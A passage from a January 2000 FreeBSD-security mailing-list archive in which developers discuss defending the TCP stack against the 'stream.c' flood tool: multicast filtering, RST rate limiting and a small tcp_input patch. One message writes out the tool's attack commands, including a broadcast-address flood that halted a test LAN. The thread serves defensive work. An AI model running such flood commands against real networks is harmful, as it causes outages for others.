the multicast stuff and perhaps shorten a few paths in tcp_input.c. To whom do patches go? Warner? --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22: 0:44 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id A7C8A14CC4 for ; Fri, 21 Jan 2000 22:00:41 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id WAA67669; Fri, 21 Jan 2000 22:00:31 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 22:00:31 -0800 (PST) From: Matthew Dillon Message-Id: <200001220600.WAA67669@apollo.backplane.com> To: Brett Glass Cc: Dag-Erling Smorgrav , Keith Stevenson , freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c References: <4.2.2.20000120194543.019a8d50@localhost> <20000121162757.A7080@osaka.louisville.edu> <4.2.2.20000121195112.0196a220@localhost> <4.2.2.20000121210443.01981600@localhost> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :> As far as port probing goes: So what? Do you think preventing people :> from identifying your machine will make it more secure? : :No, but it'll make it harder to figure out which 'sploits to try. It's the :difference between leaving the door visibly wide open and forcing the cracker :to TRY the door. If I can waste a cracker's time, I want to. :... :--Brett No. It. Won't. I don't think you quite understand how IRC weenies and script kiddies work. They don't know or care what kind of machine is on the other end of the network. They simply run their entire suite of tools until they find one that works. Being able to identify the machine is a cute exercise but it doesn't make it any less vulnerable. The script kiddies have all the time in the world, they simply run *ALL* the exploits. They often don't know what kind of machine they are logged into even though they have a shell prompt sitting there that they can type 'uname' on. It's kinda amusing to watch, actually. I wish I had saved all the terminal monitoring sessions :-(. These people don't know anything. They aren't programmers, they aren't scripters, they aren't even *smart*! They are idiots with a toolbox of programs with big red letters that say "go". One time Dima and I sat down and watched one of these bozos try to run a suite of SGI exploits on a FreeBSD shell box. He was so stupid he didn't even know he was sitting in a FreeBSD shell session! He spent over an hour trying to break into the box with SGI exploits before giving up. We recorded hundreds of hours of terminal sessions of hackers trying to break into our machines. Hundreds of hackers, and of all of them I think there might have been one or two that actually knew what they were doing (and those two still couldn't break root). -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22: 2: 3 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id EB11814FC2 for ; Fri, 21 Jan 2000 22:01:59 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id WAA67691; Fri, 21 Jan 2000 22:01:57 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 22:01:57 -0800 (PST) From: Matthew Dillon Message-Id: <200001220601.WAA67691@apollo.backplane.com> To: Jared Mauch Cc: Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <4.2.2.20000121163937.01a51dc0@localhost> <200001220035.QAA65392@apollo.backplane.com> <20000121200829.E4055@puck.nether.net> <200001220118.RAA65802@apollo.backplane.com> <20000121221736.A9396@puck.nether.net> <200001220356.TAA66875@apollo.backplane.com> <20000121230815.A9928@puck.nether.net> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : : Verio has it deployed. BEST was sold to Verio. Guess where they got it from! : So does Globalcenter. : : Hmm. Guess they're not important. : :-- :Jared Mauch | pgp key available via finger from jared@puck.nether.net Besides, the connectivity is limited. We were able to connect into the MBONE at BEST but it was a trial, and of course none of the dialup users could connect in at the required bandwidths. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:11:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 7CFDD155DF for ; Fri, 21 Jan 2000 22:11:00 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id XAA29922; Fri, 21 Jan 2000 23:09:47 -0700 (MST) Message-Id: <4.2.2.20000121230038.019685e0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 23:09:47 -0700 To: gdonl@tsc.tdk.com (Don Lewis), Matthew Dillon , Giorgos Keramidas From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Warner Losh , Darren Reed , security@FreeBSD.ORG In-Reply-To: <200001220551.VAA15775@salsa.gv.tsc.tdk.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 10:51 PM 1/21/2000 , Don Lewis wrote: >+ if ((thflags & (TH_ACK|TH_SYN)) == TH_SYN) >+ wildcard = 1; Looks good! But wouldn't it be better to do: if ((thflags & (TH_RST|TH_ACK|TH_SYN)) == TH_SYN) wildcard = 1; to make sure it's really a legitimate SYN? And what about SYN-FIN packets? (If we want to avoid looking for a listener on those, we need to "or" TH_FIN into the inntermost constant expression too.) --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:15:44 2000 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 586F51555C for ; Fri, 21 Jan 2000 22:15:33 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id WAA59998; Fri, 21 Jan 2000 22:14:45 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200001220614.WAA59998@gndrsh.dnsmgr.net> Subject: Re: stream.c worst-case kernel paths In-Reply-To: <20000122044638.B27337@hades.hell.gr> from Giorgos Keramidas at "Jan 22, 2000 04:46:38 am" To: keramida@ceid.upatras.gr Date: Fri, 21 Jan 2000 22:14:44 -0800 (PST) Cc: brett@lariat.org (Brett Glass), dillon@apollo.backplane.com (Matthew Dillon), imp@village.org (Warner Losh), avalon@coombs.anu.edu.au (Darren Reed), security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > I'd certainly like to see this extended to RST. We can optimize socket > > searching and prevent TCP from sending RSTs (or anything!) to multicast > > addresses at the same time. (We probably also want to block RECEIVED TCP > > packets from multicast addresses, as Wes suggests.) > > So what needs to be done is: > > (a) drop all multicast packets that reach the tcp stack. > (b) extend ICMP_BANDLIM to RST packets, and > (c) avoid sending anything tcp to a multicast address > > Do I forget something here? (d) Audit the whole ip stack top to bottom for conformance to rfc, and good coding practices like bounds checking, and invalid data handling. (Your (a) above is invalid data between the ip layer and tcp, handled at either output from ip or as input to tcp in the upwards stack direction, and (c) is output from tcp to ip in the downward stack direction.) There is also a nice bandwidth limiter that can be apply to almost any packet by using dummynet, just write your filter carefully :-) -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:16:18 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id AEC07156DC for ; Fri, 21 Jan 2000 22:15:55 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id XAA29979; Fri, 21 Jan 2000 23:15:44 -0700 (MST) Message-Id: <4.2.2.20000121231109.019c04a0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 23:15:44 -0700 To: Matthew Dillon From: Brett Glass Subject: Re: Some observations on stream.c and streamnt.c Cc: Dag-Erling Smorgrav , Keith Stevenson , freebsd-security@FreeBSD.ORG In-Reply-To: <200001220600.WAA67669@apollo.backplane.com> References: <4.2.2.20000120194543.019a8d50@localhost> <20000121162757.A7080@osaka.louisville.edu> <4.2.2.20000121195112.0196a220@localhost> <4.2.2.20000121210443.01981600@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:00 PM 1/21/2000 , Matthew Dillon wrote: > I don't think you quite understand how IRC weenies and script kiddies > work. Funny you should say that. I've been watching some at work this evening. ;-) > They don't know or care what kind of machine is on the other > end of the network. They simply run their entire suite of tools until > they find one that works. Many of those tools contain probes which rely on getting RSTs. No RST, and they go no farther. Also, some of the kiddiez scan and then come back later with other tools. > It's kinda amusing to watch, actually. THAT I'll agree with. > One time Dima and I sat down and watched one of these > bozos try to run a suite of SGI exploits on a FreeBSD shell box. He > was so stupid he didn't even know he was sitting in a FreeBSD shell > session! You should see the ones who get onto the honeypot system at one of my clients' sites. Most of them need a community college-level UNIX course. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:24:39 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 1AE1314EA1 for ; Fri, 21 Jan 2000 22:24:37 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id WAA18846; Fri, 21 Jan 2000 22:24:35 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id WAA53304; Fri, 21 Jan 2000 22:24:35 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id WAA15869; Fri, 21 Jan 2000 22:24:34 -0800 (PST) Message-Id: <200001220624.WAA15869@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Fri, 21 Jan 2000 22:24:34 -0800 In-Reply-To: Matthew Dillon "Re: stream.c worst-case kernel paths" (Jan 21, 9:51pm) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Matthew Dillon Subject: Re: stream.c worst-case kernel paths Cc: security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 21, 9:51pm, Matthew Dillon wrote: } Subject: Re: stream.c worst-case kernel paths } No matter what you do there will always be something the attacker can } shoot at you. The only thing you care about is making sure that it } doesn't take down your servers. Since multicast packets have to } go through multicast routers to get anywhere, and those routers are } already band-limited, a multicast attack is not likely to kill your } network or your machine. I doubt an attacker would be able to push } enough mcast packets through the router to matter since if the ISP } is smart the bandwidth will be limited to something reasonable. On } the otherhand, non-multicast packets are almost *never* band limited. } So guess what the IRC weenie is going to use! But won't incoming packets with a multicast source address and non-multicast destination address be treated like non-multicast packets and escape the bandwidth limits? I don't want my server to act as an amplifier that converts a high bandwidth stream of bogus unicast packets into a high bandwidth stream of multicast packets. Imagine what the IRC weenie could do if he could convert a stream of unicast packets to a multicast stream flood on your local network addressed to 224.0.0.5 (OSPF) which all the routers on your network are sniffing the wire for. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:25: 3 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 72E6914C19 for ; Fri, 21 Jan 2000 22:24:58 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id XAA00176; Fri, 21 Jan 2000 23:24:36 -0700 (MST) Message-Id: <4.2.2.20000121231704.01977b60@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 23:24:36 -0700 To: "Rodney W. Grimes" , keramida@ceid.upatras.gr From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: dillon@apollo.backplane.com (Matthew Dillon), imp@village.org (Warner Losh), avalon@coombs.anu.edu.au (Darren Reed), security@FreeBSD.ORG In-Reply-To: <200001220614.WAA59998@gndrsh.dnsmgr.net> References: <20000122044638.B27337@hades.hell.gr> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:14 PM 1/21/2000 , Rodney W. Grimes wrote: >(Your (a) above is invalid data between the ip layer and tcp, handled at >either output from ip or as input to tcp in the upwards stack direction, >and (c) is output from tcp to ip in the downward stack direction.) Actually, it's invalid data in a LOT of cases. I think that the check should be pushed downward and that the packet source address should be flagged as multicast in the mbuf flags. This could eliminate quite a few tests. Try the command grep IN_MULTICAST /sys/netinet/* | more and you'll see what I mean. (Not all of the tests would be subsumed by this, but many would. There's also a check in /sys/net/if_ethersubr.c.) --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:25:43 2000 Delivered-To: freebsd-security@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 30244155B0 for ; Fri, 21 Jan 2000 22:25:41 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) id WAA03860; Fri, 21 Jan 2000 22:49:24 -0800 (PST) Date: Fri, 21 Jan 2000 22:49:24 -0800 From: Alfred Perlstein To: Brett Glass Cc: security@freebsd.org Subject: Re: stream.c worst-case kernel paths Message-ID: <20000121224924.B3730@fw.wintelcom.net> References: <200001212353.PAA64927@apollo.backplane.com> <7263.948497709@critter.freebsd.dk> <200001212353.PAA64927@apollo.backplane.com> <20000121194609.A19536@fw.wintelcom.net> <4.2.2.20000121205951.01a58bb0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <4.2.2.20000121205951.01a58bb0@localhost>; from brett@lariat.org on Fri, Jan 21, 2000 at 09:02:11PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Brett Glass [000121 20:31] wrote: > At 08:46 PM 1/21/2000 , Alfred Perlstein wrote: > > >Please look at tcp_input, notice the "goto drop" and "goto > >dropwithreset" jumps, they are scattered throught and after some > >pretty close examination (no tests yet) I've been able to see that > >we can signifigantly move the tcp checksum farther into the path. > > One of the first things the routine does is look for a socket that > matches the TCP header. This relies on the port numbers and control > bits, which are covered by the checksum. This is the hard limit > on how long you can defer the checksum. You're wrong, many combinations of tcp header flags are invalid depending on the tcp connection's state, as well as other factors i'm sure exist, but have yet to examine. If we are under attack and not sending ICMP or RST back then why checksum instead of just dropping it? Either way it's an invalid packet. Btw, i'm not totally sold on the checksum idea, i'd just like to see the results of the change in cpu workload once I accomplish this. -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:32:50 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 3D46A14D17 for ; Fri, 21 Jan 2000 22:32:47 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id WAA18922; Fri, 21 Jan 2000 22:32:17 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id WAA53342; Fri, 21 Jan 2000 22:32:16 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id WAA15894; Fri, 21 Jan 2000 22:32:16 -0800 (PST) Message-Id: <200001220632.WAA15894@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Fri, 21 Jan 2000 22:32:15 -0800 In-Reply-To: Brett Glass "Re: stream.c worst-case kernel paths" (Jan 21, 11:09pm) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Brett Glass , gdonl@tsc.tdk.com (Don Lewis), Matthew Dillon , Giorgos Keramidas Subject: Re: stream.c worst-case kernel paths Cc: Warner Losh , Darren Reed , security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 21, 11:09pm, Brett Glass wrote: } Subject: Re: stream.c worst-case kernel paths } At 10:51 PM 1/21/2000 , Don Lewis wrote: } } >+ if ((thflags & (TH_ACK|TH_SYN)) == TH_SYN) } >+ wildcard = 1; } } Looks good! But wouldn't it be better to do: } } if ((thflags & (TH_RST|TH_ACK|TH_SYN)) == TH_SYN) } wildcard = 1; } } to make sure it's really a legitimate SYN? That's a fairly minor optimization because the code that handles listening sockets does a check for TH_RST right off the bat, but since this particular optimization has zero cost ... Actually, I think TH_SYN+TH_RST should immediately go to "drop", do not pass GO, do not collect $200 ... } And what } about SYN-FIN packets? (If we want to avoid looking } for a listener on those, we need to "or" TH_FIN into the } inntermost constant expression too.) They need to look for listening sockets in the T/TCP case. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:33:40 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id C42BB1561A for ; Fri, 21 Jan 2000 22:33:33 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id XAA00251; Fri, 21 Jan 2000 23:33:27 -0700 (MST) Message-Id: <4.2.2.20000121233233.01977610@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 23:33:27 -0700 To: Alfred Perlstein From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: security@freebsd.org In-Reply-To: <20000121224924.B3730@fw.wintelcom.net> References: <4.2.2.20000121205951.01a58bb0@localhost> <200001212353.PAA64927@apollo.backplane.com> <7263.948497709@critter.freebsd.dk> <200001212353.PAA64927@apollo.backplane.com> <20000121194609.A19536@fw.wintelcom.net> <4.2.2.20000121205951.01a58bb0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:49 PM 1/21/2000 , Alfred Perlstein wrote: >You're wrong, many combinations of tcp header flags are invalid >depending on the tcp connection's state, as well as other factors >i'm sure exist, but have yet to examine. If we are under attack >and not sending ICMP or RST back then why checksum instead of >just dropping it? Either way it's an invalid packet. Maybe. But the logic for this would be hairy, and you'd need to mop up carefully. I'd like to see how this looked and if it really saved CPU. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:33:56 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 1BF1D1561A for ; Fri, 21 Jan 2000 22:33:47 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA87928; Fri, 21 Jan 2000 23:09:29 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA18444; Fri, 21 Jan 2000 23:09:39 -0700 (MST) Message-Id: <200001220609.XAA18444@harmony.village.org> To: gdonl@tsc.tdk.com (Don Lewis) Subject: Re: stream.c worst-case kernel paths Cc: security@FreeBSD.ORG In-reply-to: Your message of "Fri, 21 Jan 2000 21:51:44 PST." <200001220551.VAA15775@salsa.gv.tsc.tdk.com> References: <200001220551.VAA15775@salsa.gv.tsc.tdk.com> Date: Fri, 21 Jan 2000 23:09:39 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001220551.VAA15775@salsa.gv.tsc.tdk.com> Don Lewis writes: : (b) still needs to be generalized to cover other paths that generate : RST packets. Matt has a patch for (b). You two might want to merge the two. I think that the discarding of multi-cast packets is one of those can't hurt sorts of things. I'm less sure about the wildcard stuff. What's the measurable results on this change? : I think ACK packets also might need to be rate limited, because an attacker : can spoof a SYN packet to a listening socket to create a socket in the : SYN_SENT state, then send a large number of packets with the same source : and destination addresses, to which the victim will respond with ACKs. : This will be trickier to implement without causing performance problems : under heavy traffic conditions where a large number of ACKs should actually : be sent. Agreed. Longer term it may make sense to work on this, but before the release, it sounds dangerous. : I'm less enthusiastic about deferring the checksum. It complicates the : code and the CPU really should be sized to have enough cycles so that : it can checksum legitimate data at full bandwidth. I don't see much : advantage of optimizing the code so that the machine has more idle cycles : when it is under attack than when it is occupied doing useful work. I'd agree. Checksum for the tcp packets costs about 1 x len cycles per packet on most machines. At 10MB/s, we're looking at 10,000,000 cycles out of 400,000,000-700,000,000, or < 2% at full speed. : This patch has only been lightly tested under benign conditions. Cool. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:38:38 2000 Delivered-To: freebsd-security@freebsd.org Received: from tetron02.tetronsoftware.com (ftp.tetronsoftware.com [208.236.46.106]) by hub.freebsd.org (Postfix) with ESMTP id 942C014CF8 for ; Fri, 21 Jan 2000 22:38:34 -0800 (PST) (envelope-from zeus@tetronsoftware.com) Received: from tetron02.tetronsoftware.com (tetron02.tetronsoftware.com [208.236.46.106]) by tetron02.tetronsoftware.com (8.9.3/8.9.3) with ESMTP id AAA05627; Sat, 22 Jan 2000 00:42:08 -0600 (CST) (envelope-from zeus@tetronsoftware.com) Date: Sat, 22 Jan 2000 00:42:08 -0600 (CST) From: Gene Harris To: Matthew Dillon Cc: freebsd-security@freebsd.org, Brett Glass Subject: Follow Up to NT DoS w/stream Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matt, Sorry I didn't answer your earlier query about an NT attack across a T3 using streams. Had a dinner date with a lovely girl. I did not attempt to monitor packet activity at the attack machine (BSDI OS). However, we brought a new NT machine online to our local 100 MBit network, with SP6a (I couldn't find my SP4 files and didn't feel like downloading them.) We proceeded to attack the NT Server from a Redhat Linux 6.1 box and a FreebSD 3.4 stable box on our local 10.0.0.0/8 network with stream.c using random ports. We used the command ./stream 10.0.0.2 0 0 10000 from each *nix box. The system showed no discernable slow down, running IIS. (However, the process monitor registered a CPU activity between 26 and 34%.) I also ran a Back Office 2.5 install across the same network, from a CD on a nearby Win98 machine to simulate directed activity from the NT Server to a client. Other than some slowness due to the high network loads, the NT box did not appear to be bothered. I ran this test for about 2 hours while we were at dinner. I then played around, using the FreeBSD box to launch an attack with the command ./stream 10.255.255.255 0 0 10000. Oh WOW! The network came to a screaching halt. An old laptop 100 MHz Pentium laptop stopped responding, and a much newer Windows 98 machine slowed noticably. The collision light went from an occasional blink to pegged on the network hub. The NT machine took forever to read from the CD ROM on the Win98 machine. The linux box stopped responding altogether. No machine crashed. I ran the attack for 30 minutes. As soon as the attack was terminated, all boxes returned to normal activity. (On interesting side note. The Redhat machine would not let me attempt a stream attack with 10.255.255.255. It would only return a socket: permission denied error.) *==============================================* *Gene Harris http://www.tetronsoftware.com* *FreeBSD Novice * *All ORBS.org SMTP connections are denied! * *==============================================* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:39: 8 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 5CCFC14D64 for ; Fri, 21 Jan 2000 22:39:05 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id WAA68014; Fri, 21 Jan 2000 22:39:03 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 22:39:03 -0800 (PST) From: Matthew Dillon Message-Id: <200001220639.WAA68014@apollo.backplane.com> To: gdonl@tsc.tdk.com (Don Lewis) Cc: security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <200001220624.WAA15869@salsa.gv.tsc.tdk.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :} network or your machine. I doubt an attacker would be able to push :} enough mcast packets through the router to matter since if the ISP :} is smart the bandwidth will be limited to something reasonable. On :} the otherhand, non-multicast packets are almost *never* band limited. :} So guess what the IRC weenie is going to use! : :But won't incoming packets with a multicast source address and non-multicast :destination address be treated like non-multicast packets and escape :the bandwidth limits? I don't want my server to act as an amplifier :that converts a high bandwidth stream of bogus unicast packets into :a high bandwidth stream of multicast packets. : :Imagine what the IRC weenie could do if he could convert a stream of :unicast packets to a multicast stream flood on your local network :addressed to 224.0.0.5 (OSPF) which all the routers on your network :are sniffing the wire for. But he can't. We drop packets sent to multicast destinations and any RST responses back to multicast sources will be rate-limited. OSPF has its own protocol, it will ignore any TCP garbage on its multicast address. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:44:19 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 9D19F14C19 for ; Fri, 21 Jan 2000 22:44:16 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id XAA00338; Fri, 21 Jan 2000 23:44:08 -0700 (MST) Message-Id: <4.2.2.20000121234159.0198a100@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 23:44:06 -0700 To: Gene Harris From: Brett Glass Subject: Re: Follow Up to NT DoS w/stream Cc: freebsd-security@freebsd.org In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:42 PM 1/21/2000 , Gene Harris wrote: >I then played around, using the FreeBSD box to launch an >attack with the command ./stream 10.255.255.255 0 0 10000. >Oh WOW! The network came to a screaching halt. An old >laptop 100 MHz Pentium laptop stopped responding, and a much >newer Windows 98 machine slowed noticably. The collision >light went from an occasional blink to pegged on the >network hub. The NT machine took forever to read from the CD >ROM on the Win98 machine. The linux box stopped responding >altogether. No machine crashed. I ran the attack for 30 >minutes. As soon as the attack was terminated, all boxes >returned to normal activity. Sounds like the RSTs were being amplified into an ICMP storm. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:47: 3 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 4FBF714C19 for ; Fri, 21 Jan 2000 22:47:00 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id WAA68092; Fri, 21 Jan 2000 22:46:55 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 22:46:55 -0800 (PST) From: Matthew Dillon Message-Id: <200001220646.WAA68092@apollo.backplane.com> To: Gene Harris Cc: freebsd-security@freebsd.org, Brett Glass Subject: Re: Follow Up to NT DoS w/stream References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: 